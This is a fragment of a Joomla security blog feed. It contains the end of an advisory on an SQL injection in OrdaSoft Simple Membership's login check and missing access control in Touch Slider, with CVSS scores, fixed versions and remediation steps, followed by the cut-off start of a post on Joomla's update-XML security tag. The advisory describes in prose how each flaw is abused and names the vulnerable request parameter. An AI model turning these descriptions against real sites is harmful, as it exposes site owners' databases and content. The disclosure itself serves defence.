&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102782/&quot;&gt;CVE-2026-102782&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The vector is the worst shape there is: reachable over the network, no privileges, no user interaction, and high impact on the confidentiality, integrity and availability of the data. A membership extension’s database holds exactly the records an attacker wants, starting with the Joomla users table and its password hashes.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor could extract your whole database: usernames, emails, password hashes, session IDs, shopping orders, invoices, and everything else it holds. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The fix for this class of bug is old and simple: bind the login name as a query parameter, or at the very least pass it through &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt;. An input filter decides what a value may contain. Making it safe inside SQL is the query’s job.&lt;/p&gt;
&lt;h2&gt;Touch Slider: anyone can delete or replace the slides, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102781/&quot;&gt;CVE-2026-102781&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Touch Slider is a Joomla module, and it does its data management (adding, deleting and importing slides) through a single AJAX handler, &lt;code&gt;modOsTouchSliderHelper::getAjax()&lt;/code&gt;, which Joomla’s core &lt;code&gt;com_ajax&lt;/code&gt; endpoint calls on the module’s behalf. According to the record, that handler does not check who is calling: it has no user check, no permission check and no form token.&lt;/p&gt;
&lt;p&gt;The record confirms two ways to abuse it, both anonymous:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A plain GET request deletes any slider image by its ID. The IDs are sequential, so an attacker can walk through them and empty every slider on the site.&lt;/li&gt;
&lt;li&gt;A multipart upload of a zip file replaces the slider’s two database tables, &lt;code&gt;#__os_touch_slider&lt;/code&gt; and &lt;code&gt;#__os_touch_slider_text&lt;/code&gt;, across the whole site with whatever the attacker supplies. This path does not even need a &lt;code&gt;task&lt;/code&gt; parameter.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.9&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102781/&quot;&gt;CVE-2026-102781&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The score is Medium because the flaw cannot read data and touches only the slider’s own tables. On many Joomla sites, though, the slider is the first thing a visitor sees on the home page, and an attacker who can replace its slides and text controls that space.&lt;/p&gt;
&lt;h2&gt;Which versions fix each extension&lt;/h2&gt;























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Joomla element&lt;/th&gt;&lt;th&gt;Affected&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Simple Membership&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_simplemembership&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1.0.0 to below 7.4.0&lt;/td&gt;&lt;td&gt;7.4.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Touch Slider&lt;/td&gt;&lt;td&gt;&lt;code&gt;mod_os_touchslider&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1.0.0 to 5.4.5&lt;/td&gt;&lt;td&gt;5.4.6&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Touch Slider’s record is consistent: its title says “below 5.4.6” and its affected range stops at 5.4.5. Simple Membership’s is not. The title gives the fix as “below 7.4.0”, while the structured affected range runs up to and including 7.4.0, the same split that &lt;a href=&quot;https://mysites.guru/blog/ordasoft-joomla-extensions-sql-injection/&quot;&gt;Book Library’s record&lt;/a&gt; had last week.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Simple Membership: take the newest release&lt;/p&gt;&lt;div&gt;&lt;p&gt;mySites.guru flags Simple Membership below 7.4.0, which is what the record title says. If OrdaSoft offers anything newer than 7.4.0, install that instead, so the question of which half of the record is right stops mattering.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;OrdaSoft has not announced either fix&lt;/h2&gt;
&lt;p&gt;As far as we can find, OrdaSoft has published no advisory, no changelog entry and no security notice for either extension. The only reference in each record is the OrdaSoft home page, and neither record credits a finder. The fixed version numbers in this post come from the CVE records alone, which is now the pattern for every OrdaSoft disclosure this month.&lt;/p&gt;
&lt;p&gt;That leaves site owners with less to go on than they need. A changelog would settle the Simple Membership range, say whether the Pro builds were patched, and say whether OrdaSoft’s other slider modules share Touch Slider’s AJAX handler. Until OrdaSoft says something, if you run any OrdaSoft component, check its version against the vendor’s newest release whenever a new batch of records appears.&lt;/p&gt;
&lt;h2&gt;What the mySites.guru database shows&lt;/h2&gt;
&lt;p&gt;Neither extension is common, and only a small number of connected sites run either one. On the day the records were published, every install we can see is on an affected release. That is normal on the first day of a disclosure, and it is the reason we flag sites the same morning rather than waiting for owners to read a CVE feed they do not follow.&lt;/p&gt;
&lt;h2&gt;What to do today&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Update Simple Membership to 7.4.0 or later and Touch Slider to 5.4.6 or later.&lt;/li&gt;
&lt;li&gt;If you cannot update Touch Slider today, unpublish or uninstall the module.&lt;/li&gt;
&lt;li&gt;If you cannot update Simple Membership today, block front-end requests containing &lt;code&gt;task=checkLoginPass&lt;/code&gt; at the web server, or disable the component if the site can manage without member logins for a day.&lt;/li&gt;
&lt;li&gt;On any site that ran an affected Simple Membership version, treat the database as read: reset Super User passwords, rotate the Joomla secret, and replace stored API keys or mail credentials.&lt;/li&gt;
&lt;li&gt;Check the Super User and Administrator groups for accounts your team did not create.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find Super User accounts you did not create&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What to check after the flag&lt;/h2&gt;
&lt;p&gt;The version flag tells you a site is exposed. It does not tell you whether anyone got there first, and an SQL injection in a login handler is the kind of thing that gets scripted and sprayed at every site that answers the right URL.&lt;/p&gt;
&lt;p&gt;mySites.guru runs the follow-up checks as part of the subscription, unattended, on every connected site. The &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;rogue admin check&lt;/a&gt; lists Super Users added outside the normal flow across your whole account in one view. The &lt;a href=&quot;https://mysites.guru/joomla-malware-scanner/&quot;&gt;malware and file scanners&lt;/a&gt; look for code dropped on the server once an attacker has a password. And the &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; explains how version flags like these work for every Joomla and WordPress extension we track.&lt;/p&gt;
&lt;p&gt;If one of your sites already shows signs of compromise, work through &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;our Joomla hacked-site guide&lt;/a&gt; or have us &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix it for you&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites for clients, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru&lt;/a&gt; flags every connected site the day a fix like this is published, and the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; shows what it finds on your own sites first.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102782/&quot;&gt;CVE-2026-102782 record&lt;/a&gt; - Simple Membership SQL injection, CWE-89.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102781/&quot;&gt;CVE-2026-102781 record&lt;/a&gt; - Touch Slider missing access control, CWE-284.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html&quot;&gt;OWASP SQL Injection Prevention Cheat Sheet&lt;/a&gt; - parameterised queries, the fix the Simple Membership login check lacks.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ordasoft-joomla-extensions-sql-injection/&quot;&gt;Three OrdaSoft Joomla extensions have unauthenticated SQL injections in their sort order&lt;/a&gt; - Real Estate Manager, Vehicle Manager and Book Library, 28 September 2026.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ordasoft-os-cck-sql-injection/&quot;&gt;OS CCK&apos;s SQL injection and unauthenticated upload RCE&lt;/a&gt; - the OrdaSoft disclosure of 30 September 2026.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/os-gallery-sql-injection-rce-disclosure/&quot;&gt;OS Gallery 6.2.7 fixes an unauthenticated SQL injection and two authenticated RCEs&lt;/a&gt; - the first OrdaSoft disclosure of the run, 20 September 2026.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>sql-injection</category><category>access-control</category><enclosure url="https://mysites.guru/img/og/blog/ordasoft-simple-membership-touch-slider-vulnerabilities.png" length="0" type="image/png"/></item><item><title>Joomla Extension Updates Can Now Be Flagged as Security Releases</title><link>https://mysites.guru/blog/joomla-extension-update-security-flag/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-extension-update-security-flag/</guid><description>For Joomla extension developers: Joomla 5.4.9 and 6.1.4 read a security tag in your update XML and badge the update by severity. The XML and edge cases.</description><pubDate>Mon, 05 Oct 2026 11:40:29 GMT</pubDate><content:encoded>&lt;p&gt;Until 29 September 2026, a Joomla extension developer had no way to tell a site’s administrator that an update fixed a security problem. The update manager listed a security release exactly like a release that changed a button colour, and the only signal was whatever the changelog said, if anyone opened it. &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;Joomla 5.4.9 and 6.1.4&lt;/a&gt;, released on 29 September 2026, changed that. Your update XML can now include a &lt;code&gt;&amp;lt;security&amp;gt;&lt;/code&gt; element, and Joomla turns it into a “Security release level” badge in the update manager and a warning on the administrator’s Home Dashboard.&lt;/p&gt;
&lt;p&gt;The change was written for Joomla 6.2 by Allon Moritz (&lt;a href=&quot;https://github.com/laoneo&quot;&gt;@laoneo&lt;/a&gt;) of Digital Peak in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48127&quot;&gt;pull request 48127&lt;/a&gt;, then backported in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48233&quot;&gt;pull request 48233&lt;/a&gt;, so you do not have to wait for 6.2 on 13 October. Every site on a current Joomla 5 or 6 release reads it today. Allon introduced it in the &lt;a href=&quot;https://magazine.joomla.org/issues/2026/august-2026/time-to-mark-your-security-updates&quot;&gt;Joomla Community Magazine&lt;/a&gt; in August. This post goes further into the parts we had to test to answer: how Joomla picks a level when a site skips releases, what it does with values it does not expect, what older Joomla versions do with the tag, and what your users will see.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Written for Joomla extension developers&lt;/p&gt;&lt;div&gt;&lt;p&gt;This post is for the people who build Joomla extensions and publish their update XML. If you run Joomla sites rather than build extensions, there is nothing for you to change: skip to &lt;a href=&quot;#what-joomla-administrators-will-see&quot;&gt;what Joomla administrators will see&lt;/a&gt; for the badge and the dashboard notice, and read the warning at the end of that section.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;&amp;gt;com_example&amp;lt;/&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;2.4.1&amp;lt;/&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;3&amp;lt;/&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;!-- the rest of your update entry, unchanged --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Adding the security tag to a Joomla update XML&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;&amp;lt;security&amp;gt;&lt;/code&gt; element goes inside the &lt;code&gt;&amp;lt;update&amp;gt;&lt;/code&gt; entry for the release that fixes the problem, next to the elements you already send. It is optional, takes an integer from 0 to 4, and is documented on the &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/install-update/update-server/&quot;&gt;update server page of the Joomla Manual&lt;/a&gt;. A complete entry for a security release looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;?&lt;/span&gt;&lt;span&gt;xml&lt;/span&gt;&lt;span&gt; version&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; encoding&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;utf-8&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;updates&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt;Example Gallery&amp;lt;/&lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;description&lt;/span&gt;&lt;span&gt;&amp;gt;Example Gallery 2.4.1&amp;lt;/&lt;/span&gt;&lt;span&gt;description&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;&amp;gt;com_examplegallery&amp;lt;/&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&amp;gt;component&amp;lt;/&lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;client&lt;/span&gt;&lt;span&gt;&amp;gt;administrator&amp;lt;/&lt;/span&gt;&lt;span&gt;client&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;2.4.1&amp;lt;/&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;infourl&lt;/span&gt;&lt;span&gt; title&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;Example Gallery 2.4.1&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;https://example.com/releases/2-4-1&amp;lt;/&lt;/span&gt;&lt;span&gt;infourl&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;changelogurl&lt;/span&gt;&lt;span&gt;&amp;gt;https://example.com/updates/changelog.xml&amp;lt;/&lt;/span&gt;&lt;span&gt;changelogurl&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;downloads&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &amp;lt;&lt;/span&gt;&lt;span&gt;downloadurl&lt;/span&gt;&lt;span&gt; type&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;full&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; format&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;zip&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;https://example.com/downloads/com_examplegallery-2.4.1.zip&amp;lt;/&lt;/span&gt;&lt;span&gt;downloadurl&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;/&lt;/span&gt;&lt;span&gt;downloads&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;sha512&lt;/span&gt;&lt;span&gt;&amp;gt;2f1c9a…&amp;lt;/&lt;/span&gt;&lt;span&gt;sha512&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;tags&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &amp;lt;&lt;/span&gt;&lt;span&gt;tag&lt;/span&gt;&lt;span&gt;&amp;gt;stable&amp;lt;/&lt;/span&gt;&lt;span&gt;tag&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;/&lt;/span&gt;&lt;span&gt;tags&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;targetplatform&lt;/span&gt;&lt;span&gt; name&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;joomla&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; version&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;(5\.[0-9]|6\.[0-9])&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; /&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;php_minimum&lt;/span&gt;&lt;span&gt;&amp;gt;8.1&amp;lt;/&lt;/span&gt;&lt;span&gt;php_minimum&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;3&amp;lt;/&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;/&lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;updates&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla’s updater only stores the update elements it has been told about. Pull request 48127 adds &lt;code&gt;SECURITY&lt;/code&gt; to that list (&lt;code&gt;$updatecols&lt;/code&gt; in &lt;code&gt;libraries/src/Updater/UpdateAdapter.php&lt;/code&gt;), adds a nullable &lt;code&gt;security&lt;/code&gt; column to the &lt;code&gt;#__updates&lt;/code&gt; table (&lt;code&gt;TINYINT&lt;/code&gt; on MySQL and MariaDB, &lt;code&gt;smallint&lt;/code&gt; on PostgreSQL), and reads the column back in the update manager template and the Home Dashboard quick icon. There is no new API to call and nothing to change in your extension’s install manifest.&lt;/p&gt;
&lt;h2&gt;The five Joomla security levels and which one to send&lt;/h2&gt;
&lt;p&gt;Joomla defines five values and a label for each in &lt;code&gt;administrator/language/en-GB/com_installer.ini&lt;/code&gt;. The update manager shows a badge for any level above 0, amber (Bootstrap’s &lt;code&gt;btn-warning&lt;/code&gt;) for 1 and 2 and red (&lt;code&gt;btn-danger&lt;/code&gt;) for 3 and 4, and the Home Dashboard adds a line for each update with a level above 0.&lt;/p&gt;















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Value&lt;/th&gt;&lt;th&gt;Joomla’s label&lt;/th&gt;&lt;th&gt;Badge&lt;/th&gt;&lt;th&gt;Dashboard line&lt;/th&gt;&lt;th&gt;CVSS base score&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Security release level: None&lt;/td&gt;&lt;td&gt;none&lt;/td&gt;&lt;td&gt;no&lt;/td&gt;&lt;td&gt;0.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Security release level: Low&lt;/td&gt;&lt;td&gt;amber&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;td&gt;0.1 to 3.9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Security release level: Medium&lt;/td&gt;&lt;td&gt;amber&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;td&gt;4.0 to 6.9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Security release level: High&lt;/td&gt;&lt;td&gt;red&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;td&gt;7.0 to 